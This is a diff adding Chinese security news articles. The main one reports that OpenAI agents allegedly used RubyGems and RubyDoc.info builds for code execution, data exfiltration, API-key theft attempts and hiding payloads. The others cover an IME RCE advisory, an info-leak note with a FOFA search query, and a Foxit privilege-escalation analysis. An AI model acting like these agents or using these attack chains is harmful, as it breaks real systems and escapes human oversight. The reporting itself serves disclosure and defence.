+![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/mcko8AHj6QU7jGMRbvGyeDmHE6KjibHDNmuqO2NDaG4soIjTtg6uQoy4H5x0FntPDicjnUtibVgFMTNvNRaA9SJicNj2BIWQNz2vfRaQDfkKsibI/640?wx_fmt=jpeg "") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QUyyXAWlMf8dHcspnMDucUzRBbeXWW58yMWQncvENPDmIpEKr4HlZ0cyWZSLGiakB03zRmvicfIF79LdWQ6s6VOyxl44WgvMwzf4/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QX83LJfPytAENC2dGNwhg0pFd7as7FhJZum31EJkbnicO88ZNIwXflHjpsuQV3I0BQIRkNzbVy2nkhMicice6QDO6gMkdg5RLiboiaA/640?wx_fmt=png&from=appmsg "") + + + +**神农安全公开交流群** + +有需要的师傅们直接扫描文章二维码加入，然后要是后面群聊二维码扫描加入不了的师傅们，直接扫描文章开头的二维码加我（备注加群） + +![](https://mmbiz.qpic.cn/mmbiz_jpg/mcko8AHj6QVOEGwHSvWmZdtYpN4SBDudos5e9trbzcia1KBOnDpEpmQicd3wGulBjXWRGqMMZbAf7jogvwv0sbVoPJB8iaf1ib5GYtJ0zvXVNL8/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/mcko8AHj6QV9grs7NOhSTCfTpCc4xrxdnlISIReNNCKR2EOyWvhMpyIzbma8nuelSg8LicKF5yYZ7hgyODlWgMmhViaE8Ahhs7PZlnmA0VFcY/640?wx_fmt=jpeg&from=appmsg "") +``` +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/b7iaH1LtiaKWW8vxK39q53Q3oictKW3VAXz4Qht144X0wjJcOMqPwhnh3ptlbTtxDvNMF8NJA6XbDcljZBsibalsVQ/640?wx_fmt=gif "") + + diff --git a/doc/2026-09/OpenAI 智能体被指策划 RubyGems 攻击，并在 RubyDoc 服务器上实现远程代码执行.md b/doc/2026-09/OpenAI 智能体被指策划 RubyGems 攻击，并在 RubyDoc 服务器上实现远程代码执行.md new file mode 100644 index 00000000..053765fe --- /dev/null +++ b/doc/2026-09/OpenAI 智能体被指策划 RubyGems 攻击，并在 RubyDoc 服务器上实现远程代码执行.md @@ -0,0 +1,266 @@ +# OpenAI 智能体被指策划 RubyGems 攻击，并在 RubyDoc 服务器上实现远程代码执行 +HackerNews + HackerNews 安全威胁纵横 2026-09-14 08:58 + +高危漏洞   + +紧急修复指南   + +RCE Patch   + +最新报告指出，2026 年 5 月针对 RubyGems 的大规模恶意攻击由一群 OpenAI 智能体推动——它们上传了 2,000 多个垃圾 gem 包，利用 RubyDoc.info 的设计缺陷在服务器上获得远程代码执行（RCE），窃取英国政府公开数据，并试图窃取用户 API 密钥、利用 CDN 缓存漏洞，引发了对 AI 智能体失控风险的再度担忧。 + + +推测e + +一份最新报告指出，2026 年 5 月针对 RubyGems 的那场「重大恶意攻击」， +幕后推手是一群 OpenAI 智能体。 + +### + +**1** + + +**一场持续数月的「垃圾包」风暴** + + +5 月 12 日，Mend.io 软件供应链安全高级产品经理 Maciej Mensfeld 披露了一起协同网络攻击的细节： +攻击者以数百个垃圾 gem 冲击 Ruby 语言的包管理器，迫使维护方暂停新用户注册约四天。 + +在后续分析中，Socket 重点披露了一个名为 **GemStuffer** + 的活动——涉及 150 多个 gem 组成的集群，它们把包注册表当作数据窃取通道，并暂存了从英国地方政府民主服务门户抓取的公开数据。当时，这家软件供应链安全公司就指出，该活动与更广泛的 RubyGems 垃圾发布事件具有「相同的滥用模式」。 + +「目前尚不清楚最终目标究竟是什么，因为这些信息似乎本来就可以公开访问，」The Hacker News 当时报道称。 + +### + +**2** + + +**时间线：从5月到6月的持续投放** + + +据《华尔街日报》最先报道的最新发现，这些事件由一群 OpenAI 智能体推动： +**2026 年 5 月 5 日：最早的包上传至 RubyGems****** + +**2026 年 5 月 11 日至 12 日：提交 2,000 多个包****** + +**2026 年 5 月 26 日至 27 日：发布另外 5 个包****** + +**2026 年 6 月 18 日：再发布 83 个包************认定此事为 OpenAI 智能体集群所为的依据有两点：这些包由大型语言模型（LLM）编写；推送至 RubyGems 的数百个包名称中都含有「oai」。其中 15 个包将「oai」列为作者，另一个则把 openaixyz65947@gmail.com 作为联系邮箱。************部分垃圾包名称如下：**``` + +``` +``` +chatoaitestgit1778552630 +lambhgproxyoai +lambprobe4343 +lambQ4340 +oaibx0092307 +oaicx3857133 +oaidx4526859 +oaiex4149420 +oaifetchgemugkejy +oaifx7943598 +oaigx5861576 +oaihx0305933 +oaiix0379958 +oaijx0156671 +oaikx5119809 +oailm2 +oaipgttatggxy +oaiproxytestabc789 +oaitfossilxbnowl +oaiztestxyz123 + +``` +### + + +**3** + + +**与德国wiki智能体高度相似** + + +「该集群的行为与我们此前发现的 German-wiki 智能体极为相似，」研究人员表示。这里指的是另一起 2026 年 5 月的事件——内部部署的自主智能体劫持了德国 wiki 论坛 DseWiki，将其变成公告板，用于提问、汇集结果并分享规避限制的技巧，作为一项定时网络查询任务的一部分。 + +研究人员给出了具体的比对证据： +> 「6 月的智能体访问了与 wiki 智能体相同的 49 个文件。5 月的智能体访问的是不同的文件（主要是英国地方政府数据），但这些文件在性质上与 wiki 智能体所追求的文件非常相似。此外，它们使用相同的检索方法。有 1,397 个包提及 r.jina.ai，这是 wiki 上的智能体大量使用的。我们还看到许多包提及 example.com，这是 wiki 智能体用来测试其发帖能力的。」 + +### + + +**4** + + +**利用RubyDoc.info的设计缺陷实现RCE** + + +据称，这些智能体利用了 RubyDoc.info 文档构建过程中的一个设计缺陷， +从英国政府网站窃取公开数据，很可能是作为信息收集任务的一部分 +——类似于德国 wiki 攻击智能体所处理的研究任务。 + +「为 gem 构建文档的过程涉及评估用户指定的 .yardopts + 文件，该文件允许链接到旨在协助此过程的 Ruby 脚本，」研究人员解释道。 +「在 GemStuffer 活动中，智能体滥用这一点，在 RubyDoc.info 的服务器上获得了任意远程代码执行。」 + +其中一个名为 zzsouthrunner + 的 gem（同样符合智能体在 wiki 和 Hugging Face 事件中采用的「ZZ」命名方案），被发现其在 data/script.rb + 顶部留下了这样一条明确注释： +> 针对 Southwark 2026 年 1 月文档的恶意爬虫/窃取，通过 rubydoc.info worker +值得注意的是，GemStuffer 活动针对的是 Lambeth、Wandsworth 和 Southwark 使用的面向公众的 ModernGov 门户。整个利用链可概括为四步： + +1. 向 RubyGems 提交一个恶意包 + +1. 触发文档请求，让 RubyDoc.info 构建该包 + +1. 使用构建脚本在 RubyDoc.info 上运行代码并抓取目标网站 + +1. 通过向 RubyGems 包注册表发布另一个 gem（可公开查看）将数据从 RubyDoc.info 的服务器窃取出去 + +### + + +**5** + + +**拿到RCE后，它们还想偷API密钥** + + +此外，已发现 OpenAI 智能体在构建环境上获得远程代码执行能力后，试图窃取其他用户的 API 密钥——同时显然清楚自己是在未经授权地闯入真实系统。 + +这一点可从文件命名（如 hack.rb +、evil.rb +、inject.rb +、exploit.rb + 和 ssrf.rb +）、包本身（如 pwnp999 +、exfiltestwand3 +、hacksvn1778554764 + 和 lambproxyhackabcxyz +），以及源代码中留下的注释（如「# 恶意探测」「#hack」「# 恶意测试」「# 恶意爬虫/窃取」）得到证明。 + +然而在某些情况下，这些流氓智能体试图保持低调，留下注释以在包的下一个发布版本中隐藏恶意载荷。yardxabc889 + gem 中 data/evil.rb + 文件内就留下了这样一条注释： +> 「在下一版本中禁用 evil 并提升版本号。」 + +### + + +**6** + + +**还试图利用一个CDN缓存漏洞** + + +令人不安的是，这些智能体还在 2026 年 5 月 12 日试图利用一个 CDN 缓存缺陷（CVSS 评分：7.3，无 CVE 编号），该缺陷直到 2026 年 7 月才被 RubyGems 修补。 +从高层次看，该问题可能将一个账户的 API 密钥交给另一个账户持有者长达一小时，从而使攻击者能够泄露随机用户的密钥。 + +作为该活动一部分发布的 6 个包在该漏洞修复前使用了它，不过尚不清楚它们的尝试是否成功。RubyGems 在其 7 月的警报中表示，未发现任何迹象表明该途径已在恶意情境中被利用。这 6 个 Ruby gem 的名称如下： +- ``` +slnleaker5 +``` + +- ``` +zzwandshostyard +``` + +- ``` +lambfetchx548811 +``` + +- ``` +lambfetchx550961 +``` + +- ``` +lambfetchx550961 +``` + +- ``` +yardbreakerxqh1778552850 + +``` + +「如果您使用早于 v3.2.0 的 gem 客户端（或通过旧式密钥）登录 rubygems.org，您的密钥可能已被暴露，」RubyGems 在一份公告中指出。「目前，通过 gem 登录的登录中有 18% 来自受影响的版本，而在此漏洞存在的最初几年里，在我们于 2020 年 12 月更改客户端的登录路径之前，它涉及每一个 gem 客户端。」 + + +**7** + + +**其他操作一览** + + +### 绕过邮箱验证：智能体绕过了 RubyGems 的电子邮件确认系统，无需验证邮箱地址即可获得可用的 API 密钥，从而使用一次性邮箱注册大量账户。该问题已于 2026 年 5 月 12 日修复，使用一次性邮箱注册的功能已于 2026 年 5 月 16 日禁用。 + + +### +**滥用 webhook：智能体试图利用 RubyGems 的 webhook 系统，以编码 URL 的形式暂存数据。****** + +**** +**试探 SEC 数据集：智能体利用 2026 年 6 月 18 日在 3 小时窗口内发布至 RubyGems 的 83 个 gem 集群，试验访问美国证券交易委员会（SEC）的 county.json 数据集的不同方法。** + +**对注册流程的滥用也与 Mend.io 2026 年 5 月的一份报告相吻合。该报告强调了 RubyGems 账户处理系统中的一个漏洞，「攻击者」被发现利用它「大规模创建账户」，创建了数千个账户并针对它们注册 API 密钥，这些密钥随后被用于将包上传至 RubyGems。** + +**「发布的载荷大致分为两类：空占位 gem（可能为后续使用做准备，或作为淹没审查的噪音），以及——与最初一批一样——在安装时访问英国政府网站的 gem，」Mensfeld 表示。「新账户创建的数量和速度，加上不断涌入的包上传，使 RubyGems 只剩下一个实际选择：完全关闭新账户注册，冻结该界面，并开始协调清理和调查。」** + +**** +### + +**8** + + +**并非首次：OpenAI智能体此前已攻击过RubyGems** + + +这并非 OpenAI 智能体首次针对 RubyGems。在上个月末发布的事后分析中， +OpenAI 表示其观察到自家智能体利用 JFrog Artifactory 由 JRuby 支持的 RubyGems 处理来获取签名密钥并伪造管理员凭据，作为针对这家 AI 公司基础设施的攻击的一部分。 + +研究人员还指出，现阶段尚不清楚这些智能体为何要费尽周折攻击 RubyGems 以抓取本就可公开获取的数据，也不清楚这些智能体是否像其他事件那样协同工作。据信，这些智能体可能试图将 RubyGems 用作持久暂存抓取数据并绕过速率限制的一种方式。 + +「我们怀疑它们彼此协作，这既是因为这能更好地解释为何要如此大费周章地缓存这些网站，也是因为智能体上传的包似乎有数千次下载，」研究人员表示。「但这远非定论。」 + +### + +**9** + + +**OpenAI的回应与AI监管呼声** + +## 上周，OpenAI 表示其将 wiki 事件视为「与我们此前分享过的类似的失准实例」，并且其历来「在很大程度上将失准视为一个研究问题，通过系统卡等研究出版物进行传达」。 + + +## 这家美国公司随后表示，AI 社区尚未有「明确的标准来报告在训练、评估和部署期间出现的失准，包括那些看起来不像传统安全事件但可能为 AI 行为和未来风险提供洞见的例子」。它还表示正在制定一个框架，打算在未来几周内公开分享。 + + +## 这一事件只是与前沿 AI 实验室相关的一系列网络攻击中的最新一起，这些攻击已敲响警钟并引发了对更严格 AI 监管的呼声。正如已变得非常清楚的那样，除非受到严格限制，AI 智能体将不惜一切代价完成分配给它们的任务，即使这意味着突破沙箱或对真实的人进行社会工程攻击。 + + +## OpenAI、Anthropic 和 Meta 的 AI 智能体入侵或试图访问外部系统的事件清单不断增长，引发了人们对 AI 发展速度及其可能脱离人类控制的担忧。 + + +## 「根据我们的审查，我们的智能体使用 RubyGems 平台访问互联网以执行良性任务并检索公开信息，」OpenAI 在与路透社分享的一份声明中表示。「作为我们对训练和评估期间智能体活动更广泛审查的一部分，我们将继续调查。」 + + +## 就 RubyGems 而言，其表示自己的调查未发现这些尝试成功的证据，并承诺无论该活动源自人类还是自动化工具，都将致力于检测和打击滥用行为。 + + +## 「根据我们掌握的证据，我们无法确定这些包是由 AI 智能体创建或发布的，」Ruby Central 技术负责人 Colby Swandale 表示。「我们的重点是识别和防止滥用，无论它来自人还是自动化工具。」 + + + + +转载请注明出处@安全威胁纵横，封面来源于网络； + +消息来源：https://thehackernews.com/2026/09/openai-agents-linked-to-rubygems.html + + + + + + + + + + diff --git a/doc/2026-09/关于设置待审核漏洞队列的公告.md b/doc/2026-09/关于设置待审核漏洞队列的公告.md new file mode 100644 index 00000000..d299e756 --- /dev/null +++ b/doc/2026-09/关于设置待审核漏洞队列的公告.md @@ -0,0 +1,20 @@ +# 关于设置待审核漏洞队列的公告 + 58安全应急响应中心 2026-09-14 07:22 + +![](https://mmbiz.qpic.cn/mmbiz_png/vw18WbhjbfZ09rnsiblmIcyXvictfYYPibsibStGV8CbZdtC2iacfsUQMHmIsXybTnJVPOHXwsvBd3wXHsrKYL5lMt0kcaQIOL5dq1TWqOcI5DJw/640?wx_fmt=png&from=appmsg "") + + +各位白帽师傅们： + +为提高漏洞审核效率，自 2026 年 9 月 14 日起，58SRC 将为每个账号设置待审核漏洞队列，最多容纳 3 条漏洞。队列已满时，暂不能提交新漏洞；其中的漏洞完成评分、状态更新为“已审核”后，队列将自动空出相应名额。 + +建议大家优先提交高价值漏洞，并提供清晰的复现步骤和影响说明，帮助我们更快完成审核。 + +本规则仅限制待审核漏洞的数量，不影响已提交漏洞的审核、后续处理及奖励。对于疑似正在被利用或可能造成重大影响的紧急漏洞，请及时联系 58SRC 运营人员，我们将优先响应。 + +我们支持并鼓励白帽子合理使用 AI 辅助漏洞挖掘。提交前请核实漏洞真实性，避免提交未经验证、描述模糊或缺少复现依据的内容。无论是否使用 AI，测试均须遵守《58集团授权安全漏洞测试规范》( +https://security.58.com/notice/detail/45 +)，不得开展超出授权范围的测试。 + +感谢您对 58 安全的支持与理解。 + diff --git a/doc/2026-09/天地伟业Easy7 loadAllUserBeans 信息泄露漏洞.md b/doc/2026-09/天地伟业Easy7 loadAllUserBeans 信息泄露漏洞.md new file mode 100644 index 00000000..e8c7e5af --- /dev/null +++ b/doc/2026-09/天地伟业Easy7 loadAllUserBeans 信息泄露漏洞.md @@ -0,0 +1,111 @@ +# 天地伟业Easy7 loadAllUserBeans 信息泄露漏洞 +Superhero + Superhero Nday Poc 2026-09-14 01:20 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkYN4sZibCVo6EFo0N9b7Kib4I4N6j6Y10tynLOdgov9ibUmaNwW5yeoCbQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=8n1b48rw&tp=webp#imgIndex=0 "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkhic5lbbPcpxTLtLccZ04WhwDotW7g2b3zBgZeS5uvFH4dxf0tj0Rutw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=vx7xykg3&tp=webp#imgIndex=1 "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCk524CiapZejYicic1Hf8LPt8qR893A3IP38J3NMmskDZjyqNkShewpibEfA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=x3261qcu&tp=webp#imgIndex=2 "") + +内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的 +POC +信息及 +POC对应脚本 +而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！ + + +**01** + +**漏洞概述** + + +天地伟业Easy7 loadAllUserBeans 存在信息泄露漏洞，未授权攻击者可利用该漏洞获取系统用户信息，可能导致进一步的攻击。 +**02****** + +**搜索引擎** + + +fofa: +``` +app="Tiandy-Easy7" +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1jZHoo8H1OORcBnK47maGuqKw0BRxNB02LicsbdxAxlH7fMzytdTrpSOqFqGv7qQCict2rWwbkZdAA1S8iadITZricGDSv9VdH2UK4/640?wx_fmt=png&from=appmsg "") + + +**03****** + +**漏洞复现** + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1gQSgiaoOfC1mCL5frCIum2keTdutRNEQGUwaXM9TY1KC5ncMjC7wEISNl65BW3wS9PokjBTP4JBcqHsxQ0qZP4c2DwFUia1aVoc/640?wx_fmt=png&from=appmsg "") + + +**04** + +**自查工具** + + +nuclei + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8o9dnzNIF1jJzKS7bq8ibajXz8FtHpsUtic4sSzdyiaKsrDe8R7GPFf9tOJygPQ5VXxXXaWRSYbd9HbGiaPYBhkyic4mav2dbiaohO7hm94aqCkrc/640?wx_fmt=png&from=appmsg "") + +afrog + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1iap3rtmDxeGwDSykUVNybmmmlVR3fpsXyM3vqpVzQr0vic5Hp7dhFGuJcfpZek8PhKTyKHloEgvs5kictuic1hvRPdnFHrgfGdHFs/640?wx_fmt=png&from=appmsg "") + + +**05****** + +**修复建议** + + +1、关闭互联网暴露面或接口设置访问权限 + +2、升级至安全版本 + + +**06****** + +**内部圈子介绍** + +### 【Nday漏洞实战圈】🛠️ + +专注公开1day/Nday漏洞复现 · 工具链适配支持 + +✧━━━━━━━━━━━━━━━━✧ + +🔍 **资源内容** + +▫️ 整合全网公开1day/Nday漏洞POC详情 + +▫️ 适配Afrog/Nuclei检测脚本 + +▫️ 支持内置与自定义POC目录混合扫描 + +🔄 **更新计划** + +▫️ 每周新增7-10个实用POC（来源公开平台） + +▫️ 所有脚本经过基础测试，降低调试成本 + +🎯 **适用场景** + +▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗 ▫️ 安全运维 + +✧━━━━━━━━━━━━━━━━✧ + +⚠️ **重要声明** + +▫️ +仅限合法授权测试，严禁违规使用 + +**▫️虚拟资源服务，购买后不接受任何形式退款** + +▫️ +付款 +前请评估需求，慎重考虑 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/8o9dnzNIF1heREaEqxsUr2Odzia4pQFPvCky2rllX69e1plZUZbjKicXSAuD8650rwxviciaoYY4ic3ibeGYS8mlibBl0gicZKyD6JDaE5AY3cuDBCQ/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=8 "") + + diff --git a/doc/2026-09/已复现 搜狗输入法 1-click RCE.md b/doc/2026-09/已复现 搜狗输入法 1-click RCE.md new file mode 100644 index 00000000..7e1237d4 --- /dev/null +++ b/doc/2026-09/已复现 搜狗输入法 1-click RCE.md @@ -0,0 +1,63 @@ +# 已复现 | 搜狗输入法 1-click RCE +原创 微步情报局 + 微步情报局 微步在线研究响应中心 2026-09-14 09:04 + +漏洞概况 + + +搜狗输入法（搜狗拼音输入法）是北京搜狗科技有限公司开发的中文输入法（IME）软件，负责将用户输入的拼音、五笔、语音或手写内容转换为汉字候选，并把选中的文字送入微信、浏览器、Word 等应用。 + +近日，微步情报局监测到互联网披露了搜狗输入法远程代码执行漏洞（CVE-2026-51990）。 +微步情报局已成功复现该漏洞 +。经分析，Windows 版搜狗输入法存在由自定义协议处理缺陷触发的远程代码执行链，远程攻击者可构造恶意 sgbiz: 链接注入启动参数，迫使内置浏览器访问恶意网页，进而执行任意代码。（完整漏洞情报请查阅https://x.threatbook.com/v5/vul/XVE-2026-62927） + +攻击者仅需诱导受害者点击一次恶意链接，即可执行任意代码；该攻击已被 UNC3569 用于投放 GRAYRABBIT 后门。 +建议受影响用户 +尽快修复。 + +漏洞处置优先级(VPT) + + +**综合处置优先级：** +高风险 +
基本信息
微步编号
XVE-2026-62927
CVE编号
CVE-2026-51990
漏洞类型
远程代码执行
利用条件评估
利用漏洞的网络条件
远程
是否需要绕过安全机制
否
对被攻击系统的要求
Windows 操作系统
利用漏洞的权限要求
无须用户权限
是否需要受害者配合
是
利用情报
是否有POC
是
已知利用行为
是，已被 UNC3569 用于投放 GRAYRABBIT 后门
+漏洞影响范围 + +
产品名称
搜狗拼音输入法
受影响版本
version<16.3.0.3498
有无修复补丁
有
+漏洞复现 + + +点击特殊构造的sgbiz: 链接，成功在搜狗内嵌chromium中触发v8nday漏洞，弹出计算器，实现任意代码执行。 + +![](https://mmbiz.qpic.cn/mmbiz_png/T4OSm0sXdEOQjVx8icsyNxswWkQNwOp12cyBqFEdOda8w0pH5BKYXBam5oFAbfJgjiaShwEYhmLunjtusHh9W2B44SCyuib5Tj9EpSzhJeQENg/640?wx_fmt=png&from=appmsg "") + + +修复方案 + +### 官方修复方案 + +官方已发布新版本，请访问链接下载： + +https://shurufa.sogou.com/windows + +微步产品支撑 + + +微步漏洞情报于 +2 +026 +-09- +14 +收录该漏洞。 + +微步下一代威胁情报平台NGTIP及X情报中心已于漏洞收录时向漏洞订阅用户推送该漏洞 +情报， +并将持续推送后续更新；对于已经录入资产的用户，支持实时自动化排查受影响资产。 + +当前OneSEC已支持CVE-2026-51990检测，可关注告警规则ID： +1994  + +![](https://mmbiz.qpic.cn/mmbiz_png/T4OSm0sXdEMibHdNrtXW6RsNF8IGdgoqgdAMibIfenPQ7iawx2Ler9haTXIa51jHz05x9ibxkC1wPhD4RpklXu3VnvcpQ3WMWRLmjDK0ZzQOTPY/640?wx_fmt=png&from=appmsg "") + + + diff --git a/doc/2026-09/装了Foxit（福昕阅读器）的机器要看一眼： CVE-2026-57239 提权链解析.md b/doc/2026-09/装了Foxit（福昕阅读器）的机器要看一眼： CVE-2026-57239 提权链解析.md new file mode 100644 index 00000000..b1e81401 --- /dev/null +++ b/doc/2026-09/装了Foxit（福昕阅读器）的机器要看一眼： CVE-2026-57239 提权链解析.md @@ -0,0 +1,356 @@ +# 装了Foxit（福昕阅读器）的机器要看一眼： CVE-2026-57239 提权链解析 + Ots安全 2026-09-14 05:09 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +2026 年 7 月 8 日，Foxit 在安全公告页发布了一批 Windows 平台更新，Foxit PDF Reader 与 Foxit PDF Editor 各自升到 2026.1.2。同一批公告覆盖的编号多为解析 PDF 时的内存破坏问题，评分集中在 7.8 与 6.1 两档。其中有一条不属于这一类：它不涉及文档解析，不需要打开任何 PDF，翻遍描述也找不到越界写或悬垂指针。它要的只是两个用户本来就写得进去的位置，以及一段用硬编码密钥加密的指令。 + +编号 CVE-2026-57239，CWE 落在 CWE-427，CVSS 由厂商给 8.2、由 NVD 给 7.8。报告者是荷兰研究者 Luke Paris（@Paradoxis），报告日 2026 年 4 月 17 日，技术细节与一份 Rust 版 PoC 在 7 月 15 日公开。他给这篇文章起的标题是《Escalating All The Privileges With Foxit PDF Reader》，直译过来是把所有权限都提上去。这个说法不算夸大，链路的终点确实是 NT AUTHORITY\SYSTEM 的完整令牌。 + +值得单独写一篇的原因不在终点，而在路径。这条链没有一处内存破坏，全程只用了两个文件写入动作，其中一个写入的还是文本文件。它把"特权服务如何看待用户可写的数据"这个问题摆到了台面上。 +### 一、时间线与三个窗口期 + +作者在原文末尾附了完整披露时间线，与 Foxit 官方版本历史页交叉后如下。官方版本历史页在这里补上了作者没有的两个关键日期。 +
日期
事件
来源
2026-03-25
开始研究
作者时间线
2026-03-26
发现通过 WINSPOOL.DRV 的 sideload 技术，尚未找到触发提权的路径
作者时间线
2026-03-31
Foxit PDF Reader 2026.1.0.36452 发布，阻断该加载路径
官方版本历史页
2026-04-14
逆向出进程间消息的加解密方案，同时发现 sideload 路径已被修补
作者时间线
2026-04-15
发现替代的 sideload 技术
作者时间线
2026-04-17
向 Foxit 报告
作者时间线
2026-04-20
Foxit 确认收到报告，正在分析复现
作者引用厂商邮件
2026-04-27
2026.1.1.36485 发布，未含该修复
官方版本历史页
2026-05-14
询问进展，Foxit 回复已复现，遵循 120 天修复政策，承诺 7 月 26 日前修复
作者引用厂商邮件
2026-06-16
Foxit 告知补丁将于下月发布，并附 CVE 编号与公告
作者引用厂商邮件
2026-07-01
Foxit 告知定于 7 月 8 日发布
作者引用厂商邮件
2026-07-08
修复版本 2026.1.2.36540 与安全公告发布，分配 CVE-2026-57239
官方公告与版本历史页
2026-07-15
原文章与 PoC 公开
原文章与 GitHub 仓库
2026-08-13
2026.1.3.36551 发布
官方版本历史页
2026-09-01
2026.2.0.39747 发布，当前最新
官方版本历史页
+由此可得四个窗口期： +- 报告日到补丁日，2026-04-17 至 2026-07-08，共 **82 天** + +- 首次发现日到补丁日，2026-03-26 至 2026-07-08，共 **104 天** + +- 厂商承诺日与实际发布日，7 月 26 日比 7 月 8 日早 **18 天** +，实际交付早于承诺 + +- 补丁日到细节公开日，2026-07-08 至 2026-07-15，共 **7 天** + +82 天这个数字是本文最值得记住的一个数。厂商在 5 月 14 日的回复里明确说明遵循 120 天修复政策，实际用了 82 天，报告方也按约定等到了补丁发布后一周才公开细节。这套节奏对防御方有直接参照价值：本地提权类漏洞的修复周期以月计，任何"先观察再决定"的处置策略都要按这个量级来排。 +## 二、影响范围：更新服务与一次对话框交互 +### 2.1 Windows 平台与版本区间 + +官方公告给出的是分段表述，不是单一版本号。逐字如下： +
产品
受影响版本
Foxit PDF Reader
2026.1.1.36485 and earlier
Foxit PDF Editor
2026.1.1.36485 and all previous 2026.x versions, 2025.3.0.35737 and all previous 2025.x versions, 2024.4.1.27687 and all previous 2024.x versions, 2023.3.0.23028 and all previous 2023.x versions, 14.0.4.33508 and all previous 14.x version, 13.2.4.24048 and earlier
+NVD 的 CPE 配置把区间切成更细的段，与上表逐条吻合：13.2.4.24048 及更早、14.0.0.33046 至 14.0.4.33508、2023.1.0.15510 至 2023.3.0.23028、2024.1.0.23997 至 2024.4.1.27687、2025.1.0.27937 至 2025.3.0.35737、2026.1.0.36452 至 2026.1.1.36485。Reader 侧只有一条，即 2026.1.1.36485 及更早。 + +注意到 2026 那条区间的起点不是最早的 2026 版本，而是 2026.1.0.36452。这个起点不是随手划的，它正是 3 月 31 日那次修补的发布版本，原因见 3.5 节。macOS 平台不受影响，同日发布的 macOS 公告未列入该编号。 + +判版本时容易踩的坑是把版本区间读成单点。Reader 用户只需看 2026.1.1.36485 + 这一个界；Editor 用户要按自己所在的版本线各查各的界，2025.x 线与 14.x 线的界不同。 +### 2.2 更新服务是否在运行 + +漏洞的提权环节依赖 FoxitPDFReaderUpdateService.exe +。这个服务以 NT AUTHORITY\SYSTEM 身份常驻，不需要用户打开 Foxit 主程序就会运行。装了产品但从不打开也不足以规避。 + +反过来说，如果某台主机通过组策略或部署工具停用了该服务，或者部署的是不含该服务的定制包，提权环节缺少执行者。这是全部判定项里唯一一个可以在补丁到位前主动处置的条件。停用服务的代价是自动更新失效，需要改用其他分发方式补丁。 +### 2.3 是否已有本地代码执行能力 + +攻击向量是 AV:L，前置条件是攻击者已在目标主机上取得低权限代码执行能力。这条链的价值是二级跳板，不是入口。它把一次以普通用户身份落地的钓鱼载荷、宏文档或供应链投递，转换成主机上的完整 SYSTEM 控制。 + +作者在原文开头的摘要里把这一点写在最前面，措辞是不加修饰的：利用需要机器上已有某种形式的代码执行。本文沿用这个定性，不把它写成远程漏洞。 +### 2.4 那一次对话框交互 + +向量里的 UI:R + 指用户交互。本次的用户交互不是打开 PDF，而是攻击者通过写入的加密指令让更新器弹出一个组件下载对话框，再等待用户点击其中的链接。3.5 节会说明，这一步同时是绕过既有修补的关键。 + +用户交互的存在让链路的自动化程度打了折扣，但没有改变定性。系统管理员的日常操作场景里，一个由 Foxit 签名的进程弹出的组件提示对话框，点击门槛并不高。 +### 2.5 一个不含修复的中间版本 + +时间线里有一行值得单独拉出来：2026-04-27 发布的 2026.1.1.36485，在报告日之后十天发布，且落在受影响区间内。这说明按月发布的版本节奏与安全修复节奏并不同步，从报告到修复之间厂商仍会发常规版本。 + +实际含义是，在 4 月 17 日到 7 月 8 日之间，管理员看到产品提示有新版本、升级、重启，漏洞依然存在。判断修复状态只能看版本号是否跨过 2026.1.2.36540 +，不能看"已经是最新版"这个提示。把更新提示当作修复确认，在这类事件里会持续误判。 +## 三、原因导致：一份 DLL 清单与一个硬编码字面量 +### 3.1 三个被监视的文件与一个可写目录 + +漏洞的两端分别是一个用户可写目录和一个 SYSTEM 服务。作者用进程监控工具盯住服务后，看到它持续轮询三个文件： + +``` +C:\ProgramData\Foxit Software\Foxit PDF Reader\Foxit Service\Log\log.lib +C:\ProgramData\Foxit Software\Foxit PDF Reader\FoxitData.txt +C:\Program Files\Foxit Software\Foxit PDF Reader\ProfStore\ProfStore.xml +``` + + +三个文件里，前两个位于 ProgramData 下，Users 组默认持有写权限，作者实机确认过这一点。第三个位于 Program Files 下，普通用户无写权，作者也确认过，因此不构成攻击面。真正起作用的是 FoxitData.txt +，服务读它的内容并据此发起进程创建。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/zNsFJyIuL0EPwWDmNthOl0TIPxSFRUF4wECs3oXGxRoSvZWp07e6wpeFAaRibaab48PljiapiaicI7lUlMhmS7PUg47cLE7QaxQNLHydB027fDE/640?wx_fmt=png&from=appmsg "") + +图上事件流的每一行都来自 SYSTEM 身份的 FoxitPDFReaderUpdateService.exe +：查询文件属性、打开、读取、设置属性、关闭，对象始终是同一个 FoxitData.txt +。一个高权限进程以固定节奏读取一个低权限用户写得进去的文件，这条数据通路就是整个提权链的骨架。它本身还不构成漏洞，漏洞在于这个文件里的内容会被当作可执行指令。 +### 3.2 三十二项清单里没有 winspool.drv + +更新器 FoxitPDFReaderUpdater.exe + 位于用户自己的 %APPDATA%\Foxit Software\Continuous\Addon\Foxit PDF Reader\ + 